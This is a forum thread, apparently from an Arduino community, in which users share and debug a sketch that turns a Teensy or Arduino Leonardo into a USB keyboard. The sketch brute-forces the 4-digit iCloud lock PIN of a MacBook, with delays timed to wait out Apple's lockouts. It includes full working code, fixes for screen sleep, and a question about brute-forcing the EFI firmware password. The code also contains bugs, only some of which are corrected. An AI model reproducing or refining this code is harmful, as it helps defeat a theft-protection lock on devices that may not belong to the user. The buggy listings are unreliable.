Translate Teensy Code into Arduino Uno R3 or Leonardo

Tried your code with my Arduino Leonard and it started off well, but eventually stopped guessing and computer went to sleep.. Is buying a teensy the only solution? or can anyone else translate this code to Arduino?

https://github.com/knoy/iCloudHacker/blob/master/iCloudHacker.ino

This has worked for many people.

Happy to see people hacking their way around my script, I do not have anymore the laptop I was recovering nor I have an arduino leonardo. I could try to get it working (at least on paper) if I manage to secure one. Is the “arduino leonardo” the one most people here are working? any particular sub-model?

yixiy:
Hey all,

Just wanted to update you on some results from using the Leonardo for brute force unlocking of the iCloud passcode… well I had to play around with the code a little offered by orvtech. They provided the code which is designed for Teensy boards as follows:

#include <usb_keyboard.h>

const int ledPin = 13;
int counter = 0;
//waits for iCould
int loops = 0;
int fakecounter = counter;
char pin=“xxxx”;
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  }
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, “%04d”, fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}




So in order for this to work for Arduino, you have to modify the code a little by removing



keyboard_modifier_keys = 0;




and modifying KEY_ENTER to KEY_RETURN



Keyboard.press(KEY_RETURN);
    delay(305);
    Keyboard.release(RETURN);




Once inserted into the Leonardo all was working well until the screen went into power save mode. It would throw off the counter sequence due, I believe, to the delay of bringing the screen live again.

To overcome this I introduced a 'mouse click' command just to get the screen live again which did the job just fine:



#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin=“xxxx”;
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
  Mouse.begin();
}
void loop(){
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  }
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    Mouse.click();
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, “%04d”, fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_RETURN);
    delay(305);
    Keyboard.release(KEY_RETURN);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}




__**Now a word of warning!**__
Make sure you keep your MacBook powered up at all times. My beloved wife... used the charger for her own MacBook but subsequently forgot to plug mine back in and the laptop died during the brute force hack. Now I am having to deal with a corrupted hard drive of which I have no backup for... its a good job divorce is not allowed in the Philippines!

I've tried taking a fresh hard drive with OSX installed but the MacBook won't boot from it (classic flashing question mark folder). I guess this is another Apple security measure in that the EFI is looking for a specific hard drive. I'd like to try brute forcing the EFI Password but still having the same problem where the MacBook does not appear to recognise the Leonardo HID. 

If anyone has an ideas how I can get over this one then I'm all ears...

Can you define how long is "eventually"?

sarahthescampi: Tried your code with my Arduino Leonard and it started off well, but eventually stopped guessing and computer went to sleep.. Is buying a teensy the only solution? or can anyone else translate this code to Arduino?

https://github.com/knoy/iCloudHacker/blob/master/iCloudHacker.ino

This has worked for many people.

You have typo, see, where you have this:

    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);

it should be:

    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);

yixiy: Just wanted to update you on some results from using the Leonardo for brute force unlocking of the iCloud passcode... well I had to play around with the code a little offered by orvtech. They provided the code which is designed for Teensy boards as follows....